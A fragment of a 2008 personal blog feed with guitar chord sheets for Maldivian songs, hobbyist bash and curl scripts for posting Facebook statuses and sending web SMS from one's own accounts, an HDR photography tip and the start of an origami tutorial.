(Fa&apos;thu)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4961271903834606581</id><published>2008-09-17T01:29:00.002+08:00</published><updated>2008-09-17T01:32:59.809+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Vaaneyhe Dhuniyeygaa (Midh-hath)</title><content type='html'>This is one of those songs that get stuck in your head for life! I don't even know when I saw the guy performing it on Heyyambo but I do remember the song, and a beautiful song it is! He sang it with such passion!!! I've been trying to get my hands on this song for a while now but nobody carried it anymore... a tragedy if you ask me!&lt;br /&gt;&lt;br /&gt;Just as my luck would have it, kuda-ibbe (that fuck!) decided to ... sing (if you can call it that) this song on "thi handhaanuga" (what's next? magey handhaanuga?). As bad as his ridiculous performance was, it had the upshot of providing me with the lyrics of the song. I only remembered bit's and pieces of it until now, and I'm really hoping that the guy didn't fuck with the lyrics as well. I am literally in PAIN after listening to that. If any of you have the original version, holler in the comments please??? pretty please??&lt;br /&gt;&lt;br /&gt;So here it is! very simple to play, nice and humble - none of that remix crap. I only noted on the first two, because the progression then repeats. You'll figure it out.&lt;br /&gt;&lt;br /&gt;Dedicated to... I'd rather not say :|&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;C                          Am&lt;br /&gt;vaaneyhe dhiniyeygaa thiya fadha fari nala malei&lt;br /&gt;G                           C&lt;br /&gt;dheevaana kollee magey, thiya hinithun vumey&lt;br /&gt;C                          Am&lt;br /&gt;maazee vi loabeege rey rey, ehandhaan vumun&lt;br /&gt;G                           C&lt;br /&gt;beynun vanee miyadhuves, eufaaveri kamey&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;F                               C&lt;br /&gt;maafah edhen mulhi kaunu heki koffaa mirey&lt;br /&gt;F                               C&lt;br /&gt;loabeega kurevunu haa kushah eki rey&lt;br /&gt;Am                F&lt;br /&gt;heelaafa bunelaa loabi mavamey,&lt;br /&gt;Am              G              C&lt;br /&gt;umurah ekeegaa vaanamey, magey loabivaa.&lt;br /&gt;&lt;br /&gt;vaaneyhe dhiniyeygaa thiya fadha fari nala malei&lt;br /&gt;dheevaana kollee magey, thiya hinithun vumey&lt;br /&gt;maazee vi loabeege rey rey, ehandhaan vumun&lt;br /&gt;beynun vanee miyadhuves, eufaaveri kamey&lt;br /&gt;&lt;br /&gt;Oagaa velaafa bosdhee hadhaathee hiy uthuri ara-ey&lt;br /&gt;Shaahee pareezaadhei hen mihithugaa ranikan kuraa shey&lt;br /&gt;hibakommadheefin mulhi hiy mi-jaanaa,&lt;br /&gt;kulunaai loabaa, agalah thiee hama evvana ey.&lt;br /&gt;&lt;br /&gt;vaaneyhe dhiniyeygaa thiya fadha fari nala malei&lt;br /&gt;dheevaana kollee magey, thiya hinithun vumey&lt;br /&gt;maazee vi loabeege rey rey, ehandhaan vumun&lt;br /&gt;beynun vanee miyadhuves, eufaaveri kamey&lt;br /&gt;&lt;br /&gt;... repeat the chorus a bit and start crying!&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4961271903834606581?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4961271903834606581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-vaaneyhe-dhuniyeygaa-midh.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4961271903834606581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4961271903834606581'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-vaaneyhe-dhuniyeygaa-midh.html' title='Guitar Chords: Vaaneyhe Dhuniyeygaa (Midh-hath)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-2826697459807686538</id><published>2008-09-17T00:33:00.001+08:00</published><updated>2008-09-17T00:35:36.675+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Running Bash scripts on the iPhone</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;It's always nice to be able to carry your work around with you. You gotta love some good command line action while walking down the street! In any case, if you find yourself needing to run some scripts on the iPhone or iPod touch, here's what to do!&lt;br/&gt;&lt;br/&gt;&lt;blockquote&gt;1) Jailbreak your phone! you ain't getting anywhere without doing it anyway.&lt;br/&gt;2) Make sure you have Cydia installed and then install the packages openSSH, MobileTerminal, cURL (if you want to use my WebSMS and facebook update scripts).&lt;br/&gt;3) Save the script on your PC&lt;br/&gt;4) load up your SSH client (commandline, nautilus or winSCP for windows guys..etc..)&lt;br/&gt;5) Copy the file over to /usr/bin on the phone (or the home directory if you like)&lt;br/&gt;6) chmod the file to 775 (or 755?) &lt;br/&gt;&lt;/blockquote&gt;&lt;br/&gt;&lt;br/&gt;and you're done!&lt;br/&gt;I've been using my WebSMS and Facebook Update scripts on the phone for a while now. They help reduce the overhead of nevigating throught those stupid websites to get things done. now it's in the commandline, nice and easy. Enjoy&lt;br/&gt;&lt;br/&gt;P.S I know it's not a very good guide. I got lazy so sue me! This officially concludes the transfer of everything I consider to be of...substance... over from the old blog. New stuff from here on end! HURRAYYY!!!&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-2826697459807686538?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/2826697459807686538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/running-bash-scripts-on-iphone.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2826697459807686538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2826697459807686538'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/running-bash-scripts-on-iphone.html' title='Running Bash scripts on the iPhone'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5822237733282764177</id><published>2008-09-16T20:43:00.002+08:00</published><updated>2009-03-23T01:41:24.265+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Update Facebook status through Bash, using cURL</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;anger management part 2 peeps!&lt;br /&gt;&lt;br /&gt;A nice simple bash script to update the status on facebook from the command line. Pretty straight forward, using cURL here again. As usual, edit the email and passord. Script takes one argument, the status. There's no error-checking so there really isn't a way to know if it was successful or not. I'll add that in sometime later.&lt;br /&gt;&lt;br /&gt;I love cURL!&lt;br /&gt;&lt;br /&gt;edit: some installation instructions for the younger peeps&lt;br /&gt;&lt;blockquote&gt;1) copy past it into a new file on the desktop say fbupdater&lt;br /&gt;2) open terminal, type "sudo cp /Desktop/fbupdater /usr/local/bin/fbupdater"&lt;br /&gt;3) type "chmod a+x /usr/local/bin/fbupdater"&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;and that should do it.&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint lang-bsh"&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;email=YOUR-EMAIL&lt;br /&gt;pass=YOUR-PASSWORD&lt;br /&gt;&lt;br /&gt;stat=$1&lt;br /&gt;&lt;br /&gt;cd $HOME&lt;br /&gt;&lt;br /&gt;echo "logging in"&lt;br /&gt;&lt;br /&gt;pfID=`curl -L --silent -A "MOZILLA/5.0" -b cookie -c cookie -d "email=${email}" \&lt;br /&gt; -d "pass=${pass}" -d "login=Log+In" http://m.facebook.com/login.php | \&lt;br /&gt; sed -nr 's/.*post_form_id" value="(\w+)".*/\1/p'`&lt;br /&gt;&lt;br /&gt;echo "updating"&lt;br /&gt;curl --silent -L -A "MOZILLA/5.0" -b cookie -c cookie -d "post_form_id=${pfID}" \&lt;br /&gt; -d "status=${stat}" -d "update=Update" http://m.facebook.com/home.php &amp;gt; /dev/null&lt;br /&gt;&lt;br /&gt;if [ -e cookie ]&lt;br /&gt;then&lt;br /&gt; rm cookie&lt;br /&gt;else&lt;br /&gt; echo "no cookie file? something went wrong?"&lt;br /&gt;fi&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5822237733282764177?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5822237733282764177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/update-facebook-status-through-bash.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5822237733282764177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5822237733282764177'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/update-facebook-status-through-bash.html' title='Update Facebook status through Bash, using cURL'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1282288302209080791</id><published>2008-09-16T19:47:00.004+08:00</published><updated>2008-09-16T20:34:37.251+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Bash WebSMS script using cURL</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;This post is the combination of all of the WebSMS scripts that I have posted to this date. This script will enable you to send text messages to Dhiraagu mobiles numbers via their websms site. As of the latest iteration, the script takes two arguments, the number (or alias) and the message.&lt;br /&gt;&lt;br /&gt;but before that some setup notes for the n00bs&lt;br /&gt;&lt;blockquote&gt;1) Save the script on your desktop, name it FILE (whatever you like)&lt;br /&gt;2) Open up a terminal:&lt;br /&gt;3) sudo cp ~/Desktop/FILE /usr/local/bin/sms&lt;br /&gt;4) sudo chmod a+x /usr/local/bin/sms&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;from then on you can simply run it by typing "sms [number|alias] message" on the terminal&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint lang-bsh"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;user=YOUR-USERNAME&lt;br /&gt;pass=YOUR-PASSWORD&lt;br /&gt;number=$1&lt;br /&gt;msg=$2&lt;br /&gt;&lt;br /&gt;case "${number}" in&lt;br /&gt;&lt;br /&gt;#--BEGIN DIRECTORY SEGMENT--##&lt;br /&gt;&lt;br /&gt;hotchick1) number=7811223;;&lt;br /&gt;hotchick2) number=7620382;;&lt;br /&gt;hotchick3) number=7923423;;&lt;br /&gt;&lt;br /&gt;#--END OF DIRECTORY SEGMENT--##&lt;br /&gt;&lt;br /&gt;*)&lt;br /&gt;if [ -z `echo ${number} | grep -E "^7[5-9][0-9]{5}$"` ]&lt;br /&gt;then&lt;br /&gt;echo "ERROR: Number not valid"&lt;br /&gt;exit&lt;br /&gt;fi&lt;br /&gt;;;&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cd $HOME&lt;br /&gt;&lt;br /&gt;echo -e "\nSending to ${number}\nMessage is `expr length "${msg}"` characters long"&lt;br /&gt;&lt;br /&gt;if [ `expr length "${msg}"` -gt 140 ]&lt;br /&gt;then&lt;br /&gt;echo "Message will be truncated at ...${msg:130:10}"&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;echo "Authenticating ... Getting cookie"&lt;br /&gt;if [ -n "`curl -s --compressed -c cookiejar -d \"username=${user}&amp;amp;password=${pass}\" \&lt;br /&gt;http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \&lt;br /&gt;sed -n \"s/.*\( 0 more \).*/\1/p\"`" ]&lt;br /&gt;then&lt;br /&gt;echo "ERROR: Daily quota reached"&lt;br /&gt;exit&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;echo "Attempting to send message... "&lt;br /&gt;curl -s --compressed -b cookiejar  -d "mobilenumber=${number}&amp;amp;message=${msg:0:140}" \&lt;br /&gt;http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | \&lt;br /&gt;sed -n 's/.*\([yY]ou .* Day\).*/\1/p'&lt;br /&gt;echo -e "Done!\n"&lt;br /&gt;&lt;br /&gt;rm cookiejar&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for historical reasons, and because some people may prefer the older versions, they are included below.&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;cd $HOME&lt;br /&gt;&lt;br /&gt;user=$1&lt;br /&gt;pass=$2&lt;br /&gt;number=$3&lt;br /&gt;msg=$4&lt;br /&gt;&lt;br /&gt;echo -e "\nAuthenticating ... Getting cookie"&lt;br /&gt;if [ -n "`curl -s --compressed -c cookiejar -d \"username=${user}&amp;amp;password=${pass}\" \&lt;br /&gt; http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \&lt;br /&gt; sed -n \"s/.*\( 0 more \).*/\1/p\"`" ]&lt;br /&gt;then&lt;br /&gt; echo "Shit! You've hit that quota."&lt;br /&gt; exit&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;echo "Message is `expr length "${msg}"` characters long"&lt;br /&gt;&lt;br /&gt;if [ `expr length "${msg}"` -gt 140 ]&lt;br /&gt;then&lt;br /&gt; echo "Message will be truncated"&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;echo "Attempting to send message... "&lt;br /&gt;curl -s --compressed -b cookiejar  -d "mobilenumber=${number}&amp;amp;message=${msg:0:140}" \&lt;br /&gt;http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | \&lt;br /&gt;sed -n 's/.*\([yY]ou .* Day\).*/\1/p'&lt;br /&gt;echo -e "Done!\n"&lt;br /&gt;&lt;br /&gt;rm cookiejar&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;and of course the first ever version of it, unbloated simplicity in itself.&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;#!/bin/bash&lt;br /&gt;#usage "./websms username password number message"&lt;br /&gt;&lt;br /&gt;cd $HOME&lt;br /&gt;&lt;br /&gt;curl --progress-bar -c cookiejar -d "username=${1}&amp;amp;password=${2}" \&lt;br /&gt;http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | grep -i "day" | \&lt;br /&gt;sed -e 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g;s/^[ \t]*//'&lt;br /&gt;&lt;br /&gt;curl --progress-bar -b cookiejar  -d "mobilenumber=${3}&amp;amp;message=${4}" \&lt;br /&gt;http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | grep -i "day" | \&lt;br /&gt;sed -e 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g;s/^[ \t]*//'&lt;br /&gt;&lt;br /&gt;rm cookiejar&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1282288302209080791?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1282288302209080791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/bash-websms-script-using-curl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1282288302209080791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1282288302209080791'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/bash-websms-script-using-curl.html' title='Bash WebSMS script using cURL'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6383059553376490839</id><published>2008-09-16T19:32:00.003+08:00</published><updated>2008-09-16T20:34:54.132+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Gilan (Ali/Ibrahim rameez)</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div style="clear: both; text-align: center;" class="separator"&gt;&lt;a rel="lightbox" href="http://4.bp.blogspot.com/_bwme_BmmviI/SKcTWXQhl2I/AAAAAAAAAJY/TNIGtPWBAZ4/s1600/IMG_5667.JPG"&gt;&lt;img src="http://4.bp.blogspot.com/_bwme_BmmviI/SKcTWXQhl2I/AAAAAAAAAJY/DWlnl27vk3s/s400-R/IMG_5667.JPG" border="0" height="264" width="352" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Before we begin let's make something absolutely clear. I am not an Ali/Ibrahim Rameez fan. I just happen to like this song. Anyway.. here it is :)&lt;br /&gt;&lt;br /&gt;Dedicated to my friend &lt;b&gt;Falibe&lt;/b&gt; (who IS a fan)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;br /&gt;INTRO plucking C G/B C G/B ...&lt;br /&gt;&lt;br /&gt;    C                      G   &lt;br /&gt;Hithugaa Vaa Handhaaneh Fohevey Hey? Noonekey&lt;br /&gt;    C                      G                   Am&lt;br /&gt;Ithubaaraa Huvaa Thah Nethuneemaa Gislanee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;           F               G&lt;br /&gt;Loabi Veemaa Vaudhu Veemey&lt;br /&gt;                    C&lt;br /&gt;Eyge Fahugaa Kehi Dhinee&lt;br /&gt;            F                 G&lt;br /&gt;Beywafaa Vee, Haadha Dhera Ey&lt;br /&gt;                     C&lt;br /&gt;Neygi Huttaa Badhalu Vee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    C                      G   &lt;br /&gt;Hithugaa Vaa Handhaaneh Fohevey Hey? Noonekey&lt;br /&gt;    C                      G                   Am&lt;br /&gt;Ithubaaraa Huvaa Thah Nethuneemaa Gislanee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;           F               G&lt;br /&gt;Loabi Veemaa Vaudhu Veemey&lt;br /&gt;                    C&lt;br /&gt;Eyge Fahugaa Kehi Dhinee&lt;br /&gt;            F                 G&lt;br /&gt;Beywafaa Vee, Haadha Dhera Ey&lt;br /&gt;                     C        F&lt;br /&gt;Neygi Huttaa Badhalu Vee&lt;br /&gt;                     G        Am    C G F&lt;br /&gt;Heekuree Hey Dhaane Hen, Dhashuvaan&lt;br /&gt;            G        C&lt;br /&gt;Fasbaigaa Eligen Roanehey&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(SOLO)&lt;br /&gt;&lt;br /&gt;   C                      G   &lt;br /&gt;Aniyaa Dhee Hedheemey Badhunaamey Adhuvanee&lt;br /&gt;   C                      G               Am&lt;br /&gt;Umurah Dhen Salaamey Rulhiveemaa Foohivee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;           F               G&lt;br /&gt;Loabi Veemaa Vaudhu Veemey&lt;br /&gt;                    C&lt;br /&gt;Eyge Fahugaa Kehi Dhinee&lt;br /&gt;            F                 G&lt;br /&gt;Beywafaa Vee, Haadha Dhera Ey&lt;br /&gt;                     C        F&lt;br /&gt;Neygi Huttaa Badhalu Vee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(SOME CHEESEY ENGLISH STUFF&lt;br /&gt;YEAAA YOU TELL THAT BITCH!!)&lt;br /&gt;....................  F&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                    G        Am    C G F&lt;br /&gt;Heekuree Hey Dhaane Hen, Dhashuvaan&lt;br /&gt;            G        C    Am&lt;br /&gt;Fasbaigaa Eligen Roanehey&lt;br /&gt;           F               G&lt;br /&gt;Loabi Veemaa Vaudhu Veemey&lt;br /&gt;                    C&lt;br /&gt;Eyge Fahugaa Kehi Dhinee&lt;br /&gt;            F                 G&lt;br /&gt;Beywafaa Vee, Haadha Dhera Ey&lt;br /&gt;                     C&lt;br /&gt;Neygi Huttaa Badhalu Vee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(WAIL THE CHORUS OVER  A FEW TIMES)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Not the most perfect I know but it works. I think it's a G/B throughout the entire thing but the G works fine for me so I use it. Let me know if you have a different version in the comments. Thanks to &lt;a href="http://lavafoshi.blogspot.com/"&gt;lavafoshi&lt;/a&gt; for the lyrics.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6383059553376490839?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6383059553376490839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-gilan-aliibrahim-rameez.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6383059553376490839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6383059553376490839'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-gilan-aliibrahim-rameez.html' title='Guitar Chords: Gilan (Ali/Ibrahim rameez)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_bwme_BmmviI/SKcTWXQhl2I/AAAAAAAAAJY/DWlnl27vk3s/s72-Rc/IMG_5667.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-9166367887994172948</id><published>2008-09-16T19:28:00.001+08:00</published><updated>2008-12-10T09:15:55.353+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photography'/><title type='text'>HDR Imaging</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;If you're anything like me, and you enjoy a good sunset then you'll probably know what this is about. Have you ever wanted to capture all those colours on your digital? maybe you tried, but it always seems so so much blander than the real thing? Well that's because you can only get so many colors on there. HDR saves the day! it stands fo &lt;a href='http://en.wikipedia.org/wiki/HDRI'&gt;High Dynamic Range&lt;/a&gt;. Basically - more colors :)  Here's a picture I took today, nothing fancy but gets the point across.    &lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a title='A plain, relatively dull image' rel='lightbox[hdrimaging]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SGpr9t3B_ZI/AAAAAAAAAFI/eA0AhFggg4A/s1600/IMG_6018.JPG'&gt;&lt;img border='0' id='BLOGGER_PHOTO_ID_5218101826288745874' alt='' src='http://4.bp.blogspot.com/_bwme_BmmviI/SGpr9t3B_ZI/AAAAAAAAAFI/eA0AhFggg4A/s320/IMG_6018.JPG' style='margin: 0px auto 10px;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;and the same done HDR &lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a title='the same image with HDR' rel='lightbox[hdrimaging]' href='http://3.bp.blogspot.com/_bwme_BmmviI/SGpqIn2Qd-I/AAAAAAAAAFA/FBRU3WZZuvg/s1600/_pregamma_0.485_mantiuk_contrast_mapping_0.3_saturation_factor_1.495.jpg'&gt;&lt;img style='margin: 0px auto 10px;' src='http://3.bp.blogspot.com/_bwme_BmmviI/SGpqIn2Qd-I/AAAAAAAAAFA/yEeN0w63bpY/s320-R/_pregamma_0.485_mantiuk_contrast_mapping_0.3_saturation_factor_1.495.jpg'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;see the difference? I'm telling you it's the shit! Especially if you have one of those really cheap cameras..like me :( Basically what you do is take three shots (or more) with varying levels of exposure (one under, one over and one just right), and then combine them. It's quite easy in photoshop (since CS2, there's a "merge to HDR" option somewhere in there) Now you might want to consider upgrading your camera's firmware to CHDK, which will allow you, among other things to a) Shoot in RAW, and b) shoot with auto bracketing. Both these will help you immensly with the HDR business (specially shooting RAW) have a look into it. It's worth your while.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-9166367887994172948?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/9166367887994172948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/hdr-imaging_16.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/9166367887994172948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/9166367887994172948'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/hdr-imaging_16.html' title='HDR Imaging'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_bwme_BmmviI/SGpr9t3B_ZI/AAAAAAAAAFI/eA0AhFggg4A/s72-c/IMG_6018.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8653799068310467570</id><published>2008-09-16T19:10:00.002+08:00</published><updated>2008-12-10T09:15:55.885+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='rukufan origami'/><title type='text'>RUKUFAN ORIGAMI: Bird</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I got to spend some quality time with my friend NISHAM today, and learned how to make that bird. So here is part..err..five.. of this ongoing series. Right then lets begin. You need two strips (basically one "fanvai" (leaf) with the eakle removed) The first step is to tie a basic knot towards one end of one of the strips. Which should give you this.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://3.bp.blogspot.com/_bwme_BmmviI/SHIzOxK37zI/AAAAAAAAAFY/JbfpA4YvPwk/s1600/IMG_6036.JPG'&gt;&lt;img width='174' height='130' src='http://3.bp.blogspot.com/_bwme_BmmviI/SHIzOxK37zI/AAAAAAAAAFY/3gYXUxX8pGE/s320-R/IMG_6036.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Notice how there's a bit left on the right (ooh oxymoron!). This will form the tail section so leave enough for it there, but not too much so that you'll run out of material later. Now you take the second 